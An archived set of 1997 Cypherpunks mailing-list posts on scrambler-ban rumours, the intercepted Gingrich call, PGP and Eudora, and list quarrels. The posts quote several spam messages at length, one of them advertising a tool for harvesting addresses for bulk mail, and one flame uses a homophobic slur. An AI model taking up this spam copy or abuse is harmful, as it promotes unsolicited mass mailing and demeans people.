available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 16 Jan 1997 15:54:51 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: How to crack
In-Reply-To: <199701161802.KAA08524@peregrine.eng.sun.com>
Message-ID: <Pine.BSF.3.91.970116174241.11513A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



My guess is that somebody wandered off to the coke machine in the 
computer lab and left themselves logged in ...


On Thu, 16 Jan 1997, Ed Falk wrote:

> > 
> > Hi, my name is Tod, and I really want to be a cool hacker, ...
> 
> This has *got* to be a troll.  Nobody could be this clueless.
> 
> 
> Well, actually, they could.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 16 Jan 1997 14:47:08 -0800 (PST)
To: thad@hammerhead.com (Thaddeus J. Beier)
Subject: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <199701162123.NAA07816@hammerhead.com>
Message-ID: <v03007802af045fc5cbdd@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Time to debunk this rumor.

I just spoke with the Arkansas state police, who told me:

"It wasn't put out by the state police. [If anything] it must be a city
ordinance from some city. That state police definitely didn't do it."

-Declan


>jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
>> IMMEDIATE ATTENTION
>> The Arkansas Police have declared that is is illegal to own, use, or
>> possess RSU product #11265113, a fully assembled
>> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
>> legal department is researching this and the product has been removed
>> from RSU distribution.  DO NOT take order or sell this product until
>> this situation can be resolved.
>
>I called the Arkansas State Police, 501-221-8200, to try to verify this,
>and they're "going to have somebody call me back."  I'm not holding my
>breath...
>
>If anybody has a definative source on this, I'd love to see it; it's
>mindboggling.
>
>thad
>-- Thaddeus Beier                     thad@hammerhead.com
>   Visual Effects Supervisor                408) 287-6770
>   Hammerhead Productions  http://www.got.net/people/thad



-------------------------
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chuck Fender <chuck@earth.wazoo.com>
Date: Thu, 16 Jan 1997 16:48:35 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: How to crack
In-Reply-To: <199701161802.KAA08524@peregrine.eng.sun.com>
Message-ID: <Pine.LNX.3.95.970116174743.20795B-100000@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


He's got to be about 13...


On Thu, 16 Jan 1997, Ed Falk wrote:

> > 
> > Hi, my name is Tod, and I really want to be a cool hacker, ...
> 
> This has *got* to be a troll.  Nobody could be this clueless.
> 
> 
> Well, actually, they could.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 16 Jan 1997 16:28:07 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
In-Reply-To: <v03007802af045fc5cbdd@[168.161.105.191]>
Message-ID: <Pine.BSF.3.91.970116180925.11513C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




I thought it a bit strange that "the state police" declared something to 
be illegal; I didn't think they made laws, even in Arkansas.

OTOH, somebody may be trying to boost sales (quick! get one before it's 
banned!) ...

-r.w.

On Thu, 16 Jan 1997, Declan McCullagh wrote:

> Time to debunk this rumor.
> 
> I just spoke with the Arkansas state police, who told me:
> 
> "It wasn't put out by the state police. [If anything] it must be a city
> ordinance from some city. That state police definitely didn't do it."
> 
> -Declan
> 
> 
> >jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
> >> IMMEDIATE ATTENTION
> >> The Arkansas Police have declared that is is illegal to own, use, or
> >> possess RSU product #11265113, a fully assembled
> >> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
> >> legal department is researching this and the product has been removed
> >> from RSU distribution.  DO NOT take order or sell this product until
> >> this situation can be resolved.
> >
> >I called the Arkansas State Police, 501-221-8200, to try to verify this,
> >and they're "going to have somebody call me back."  I'm not holding my
> >breath...
> >
> >If anybody has a definative source on this, I'd love to see it; it's
> >mindboggling.
> >
> >thad
> >-- Thaddeus Beier                     thad@hammerhead.com
> >   Visual Effects Supervisor                408) 287-6770
> >   Hammerhead Productions  http://www.got.net/people/thad
> 
> 
> 
> -------------------------
> The Netly News Network
> http://netlynews.com/
> 
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MAILER-DAEMON@brute.hway.net (Mail Delivery Subsystem)
Date: Thu, 16 Jan 1997 15:30:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Returned mail: User unknown
Message-ID: <199701162330.SAA29235@brute.hway.net>
MIME-Version: 1.0
Content-Type: text/plain


The original message was received at Thu, 16 Jan 1997 18:30:21 -0500
from root@localhost

   ----- The following addresses had delivery problems -----
professional@pipeline.com  (unrecoverable error)

   ----- Transcript of session follows -----
... while talking to sieve0.mindspring.com:
>>> RCPT To:<professional@pipeline.com>
<<< 550 <professional@pipeline.com>... User unknown
550 professional@pipeline.com... User unknown

   ----- Original message follows -----
Received: by brute.hway.net (950413.SGI.8.6.12/951211.SGI)
	for professional@pipeline.com id SAA29231; Thu, 16 Jan 1997 18:30:21 -0500
Return-Path: <cypherpunks@toad.com>
Received: from Alpha.remcan.ca by brute.hway.net via ESMTP (950413.SGI.8.6.12/951211.SGI)
	for <iiucom@iiu.com> id SAA28775; Thu, 16 Jan 1997 18:29:29 -0500
Received: from shawn by Alpha.remcan.ca via SMTP (940816.SGI.8.6.9/940406.SGI.AUTO)
	for <iiucom@iiu.com> id RAA03902; Thu, 16 Jan 1997 17:23:40 -0500
X-Loop: iiu.com
Message-Id: <3.0.32.19970116172930.009091b0@toad.com>
X-Sender: cypherpunks@toad.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 16 Jan 1997 17:29:34 -0600
To: iiucom@iiu.com
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Information is POWER- Get it!
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER


At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
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>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
>OK? Want to see one more? Here's how we have saved landlords
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>
>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
>OK? Want to see one more? Here's how we have saved landlords
>money for years.
>
>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
>OK? Want to see one more? Here's how we have saved landlords
>money for years.
>
>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This letter is being sent to you because you know that 
>information is Power. You are interested in new ways of 
>doing business economically and safely. You won't let 
>anyone take advantage of you.
>
>Please read the next few paragraphs to see if our services can help you.
>
>We are Informational Investigations, Unlimited, a public
>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
>
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>$20.00. Our search fees, the amount it costs us to get your 
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>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>

At 11:11 PM 1/14/97 -0500, you wrote:
>****This letter is sent to you automaticly. If you wish to 
>be removed, reply and type remove***********
>
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>This is a new LEGAL service bringing Public Information
>to the world of  Personnel computing!!!
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>information is Power. You are interested in new ways of 
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>
>Please read the next few paragraphs to see if our services can help you.
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>information company. What we do is to provide the public
>with information on people and companies. Let me explain.
>
>Say you've lost touch with an old friend. We can find  that
>person. What if that someone or a company owes you money. We
>can find that person/company so you can collect. Here's  
>another way IIU can help you.
>
>Are you buying a house? Do you think knowing what the seller
>paid for the same house could help you in the negotiations?
>Do you trust the real estate to give you the right tax
>assessment? We can give you the taxes on your dream house
>directly from yhe assessors office. No better way to be
>accurate than that! 
>
>Are you hiring a 'nanny' or babysitter? I know from my 
>experience how emotional a decision that can be. The worry,
>the questions about his/her background. EASE YOUR MIND! Why
>not check to see if this person was convicted of a crime. Do
>they have bad credit or a DWI?
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>OK? Want to see one more? Here's how we have saved landlords
>money for years.
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>Renting an apartment? Extending credit? Call us! We can do 
>the background checking for you, saving you time and money 
>in the long run. Have you ever tried to get a deadbeat out
>out of your apartment for non-payment? With today's courts,
>it is almost impossible. Save money NOW. Call us to do a
>background on the perspective tenant BEFORE you rent to them.
>A few dollars now may save you THOUSANDS later in attorney's 
>fees and lost rent.
>
>CONVINCED? We won't belabor the point. We can provide you with
>the information you need to make informed decisions quickly
>and economically.
>
>Our fees? Simple. We charge you the cost of the search plus
>$20.00. Our search fees, the amount it costs us to get your 
>information, is usually $50.00 or less. Most searches are
>$10.-15.00. All information is obtained legally through
>public databases.
>
>Call us at (800) 375-5260, Monday-Friday-9AM to 5PM ET. Or
>visit our web site at: http://www.iiu.com. Make a bookmark 
>for it. Tell a friend.
>
>Thank you for taking the time to read our letter.
>
>INFORMATIONAL INVESTIGATIONS, UNLIMITED, INC. 
>
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 16:24:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions
In-Reply-To: <v03007808af042a232676@[139.167.130.248]>
Message-ID: <T8DN1D15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga <rah@shipwright.com> writes:
> At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> >Similarly, people who've been plonked are often quoted in somebody
> >else's message, so I see it anyway.
>
> So it seems...
>
> :-).
>
> So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.

When the likes of J.D.Falk and Hettiga claim to have *plonked* one of their
many "enemies", it really means that they are obsessed with that person and
thoroughly read everything the "*plonked*" poster writes. Zero credibility.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 16:21:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt may be more receptive to encryption now
In-Reply-To: <970116095948_1444710331@emout10.mail.aol.com>
Message-ID: <82eN1D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Scottauge@aol.com writes:
>
> Perhaps EFF could even draft some laws for our protection

EFF and John Gilmore have no credibility, but the homo "cypher punk's"
reliance on more laws and bigger gubmint to solve all his problems
is telling.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Jan 1997 19:21:23 -0800 (PST)
To: "John C. Randolph" <jcr@idiom.com>
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <3.0.1.32.19970116185324.0062e970@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> The Arkansas Police have declared that is is illegal to own, use, or
> possess RSU product #11265113, a fully assembled
> descrambler/scrambler, in the State of Arkansas.  

Yee-hah!  I'm guessing that it's probably illegal because the
police use them for "secret" conversations, or some such silliness,
and don't want Bad Guys to be able to eavesdrop on what's probably
a trivially analog-scrambled phone-garbler.  
Perhaps them good ol' boys have some more devious reason,
or even have a law backing them up, but probably not.

How soon do you think it'll be before they start busting people
for Radio Shack Equipment Smuggling?  Why, next thing you know
there'll be people sneakin' across the border from Texarkana with
pickmeup-truck loads full o' contraband encryption gear
as well as the usual Lone Star Beer cans in the back.

If I were Radio Shack, and the state did this to me after the
police bought a bunch of them for police use, I'd be real upset.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CVHD <cvhd@indyweb.net>
Date: Thu, 16 Jan 1997 16:27:59 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Finally a good Eudora/PGP integration under Win32
In-Reply-To: <3.0.32.19970116114943.006ae32c@192.100.81.126>
Message-ID: <3.0.1.32.19970116192747.006c9bac@indyweb.net>
MIME-Version: 1.0
Content-Type: text/enriched

At 11:50 AM 1/16/97 -0800, you wrote:

>It is a bug in the manual :-) The plugins are already installed by the main
>installer. If you can't find the buttons in Eudora, it is because they are
>in a different location than you think they are.

>Look next to the "Queue" button. PGP should make this clearer in their docs.

Actually the PGP "buttons" don't appear in Eudora unless you are reading a message, replying or creating a new message; which makes sense.  Simply retrieving mail won't make the "buttons" appear.  With Netscape you must also have the "mailer" maximized or the Netscape Logo will overlap some of the PGP "buttons".  

The only thing I would like to see added to it (and perhaps PGP 3.0 will address this) is the ability to En-DeCrypt WIN95 Files folders and files "on the fly" without the necessity of clicking OK for each file like F-Protects' "Secure Desktop" program.

It is plain in "appearance" but a terrific interface, nonetheless, for $29.95 (for 2.6.2 users).  Can't wait to see how PGP 3.0 will enhance it's performance.



Regards from the,
Computer Virus Help Desk
http://www.indyweb.net/~cvhd


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 16 Jan 1997 16:58:15 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <01BC03E7.BCF283B0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Toto <toto@sk.sympatico.ca> wrote in article <5bk506$ruj@life.ai.mit.edu>...
> Brian Lane wrote:

>   The fact is that the transmission 'was' encrypted. While this fact
> isn't
> being 'reported', it is causing no small amount of consternation in 
> certain circles in Washington.

Knowing the circles that would be concerned I know that they
are discussing no such thing.

	Phill

  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 16 Jan 1997 16:56:34 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <01BC03E7.BE213FB0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM> wrote in article <5bjhda$f44@life.ai.mit.edu>...
> Alan Bostick writes:
> 
> >It is also possible that somewhere in the chain of information between
> >mom&pop, the media, and us, the distinction between "cordless phone"
> >and cellular phone.  I gather it was a conference call that was 
> >intercepted.  All it takes is one participant using a cordless phone in 
> >range of one scanner, and the whole conversation is compromised.
> 
> Yes, a conference call (and we do know there were multiple participants)
> over a cordless makes sense.

It was a conference call but over a cellular phone. Martin had hacked his
Radio Shack Scanner using a well known technique. He had a radio ham
license.

I still don't expect a conviction. Lets see a guy gets a tape he believes shows
that the Speaker of the house lied to the ethics committee. He hands it to
a senior member of the ethics committee of the house despite knowing that
in doing so he put himself at risk of prosecution.

Does anyone in their right mind expect any jury to convict in such a case?
Basically a trial would be open season for the defense to take pot shots
at Newt.

Q. "Why did you not hand the tape over to the chair of 
	the committee?
A. I thought they might try to suppers it.

Q. Why did you give the tape to MacDermott?
A. I thought it showed that the Speaker had acted illegally.

Q. Illegal? How?
A [at very great length to be repeated verbatim on CNN twice
	an hour]

As a first time offender the most the Martins could expect to suffer
would be a $5000 fine. They could easily recoup that on the chat
show circuit.

This is the country where Ollie North launched his political career
by subverting the constitution and lying to congress and where JO
Simpson murdered his wife and got away with it. Don't expect the
Martins to be occupying a jail cell any time soon. Newt on the other
hand...

		Phill

  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 16 Jan 1997 17:35:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970116203557.0166ae18@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:50 AM 1/17/97 +1000, Greg Taylor wrote:
>Most of the world has been using GSM digital technology for some years
>now, with automatic international roaming, unless you travel to the USA.
>No one in their right mind uses an analogue mobile phone any more if they 
>are concerned about eavesdropping.  The Newt incident simply could not 
>happen with GSM.

Of course GSM encryption was weakened by the orders of various governments so that the national police forces could still listen in.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMt7XY4VO4r4sgSPhAQGJVAQArpSn4h0aNzV4yWkFbpCdjGnvpt058Uyi
+Xm7dEsmPSSxQhnBMFk2lpnW8bmtA1hakXqluj1wfoKvVlaXifswPqc2lRPlCc2w
qg/bu4tHXCm34Yzy346TgUJ6fBf5mJPNz1fZFgydy1HJbGXgSrcoX/Dl2IjjqpPW
VB4ncdkmtbY=
=AO5Z
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nomad@Koolcom.com
Date: Thu, 16 Jan 1997 18:05:14 -0800 (PST)
Subject: "Forrist Gump Can Do It"      THIS MAILING IS BEING SENT TO YOU COMPLEMENTS            OF A COMMERCIAL E-MAILER SERVER.              PLEASE SEND ALL COMPLAINTS AND               ( REMOVE FROM LIST REQUESTS)                 TO: Nomad@Capella.net                Thank You, The Management      ----------------------------------------------      ----------------------------------------------      ----------------------------------------------
Message-ID: <199701170143.UAA11457@www.theguru.com>
MIME-Version: 1.0
Content-Type: text/plain




A HOME BASED BUSINESS EVEN FORRIST GUMP CAN DO ! ! !

A FANTASTIC OPPORTUNITY WITH TRADENET MARKETING
GROUND FLOOR OPPORTUNITY--ONLY 25,000 DISTRIBUTORS
ONE TIME PURCHASE-LESS THAN $150.00
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EXTREMELY FAIR AND EASY TO UNDERSTAND COMPENSATION PLAN
WEEKLY CHECKS
INTERNATIONAL OPPORTUNITIES SOON

FOR ADDITIONAL INFORMATION PLEASE CALL JACK AT (800) 530-9495






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 16 Jan 1997 21:14:22 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Debunking rumors -- Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701170514.VAA03211@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain



>On Thu, 16 Jan 1997, Declan McCullagh wrote:
>
>> Time to debunk this rumor.
>> I just spoke with the Arkansas state police, who told me:
>> "It wasn't put out by the state police. [If anything] it must be a city
>> ordinance from some city. That state police definitely didn't do it."
>> -Declan

>> >jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
>> >> IMMEDIATE ATTENTION
>> >> The Arkansas Police have declared that is is illegal to own, use, or
>> >> possess RSU product #11265113, a fully assembled
>> >> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
>> >> legal department is researching this and the product has been removed
>> >> from RSU distribution.  DO NOT take order or sell this product until
>> >> this situation can be resolved.
>> >
>> >I called the Arkansas State Police, 501-221-8200, to try to verify this,
>> >and they're "going to have somebody call me back."  I'm not holding my
>> >breath...
>> >
>> >If anybody has a definative source on this, I'd love to see it; it's
>> >mindboggling.
>> >
>> >thad


The strangest part of this story is that I haven't even heard of the product 
they've described above.  The number given sounds like a serial number, NOT 
a product number.  Somehow, I think that it would have been covered around 
here by now if it were real.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 16 Jan 1997 18:13:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: NY Tax Sale
Message-ID: <3.0.1.32.19970116211310.006bc58c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those who may doubt my oft repeated prediction that coercive institutions will slowly dissolve into market institutions please note that next week New York State is having a Sales Tax "sale."  All clothing purchases under $500 will be free of sales tax next week.  That's 8.25% in New York City.  Since CT and NJ don't tax most clothing sales this is clearly an attempt to meet the competition.

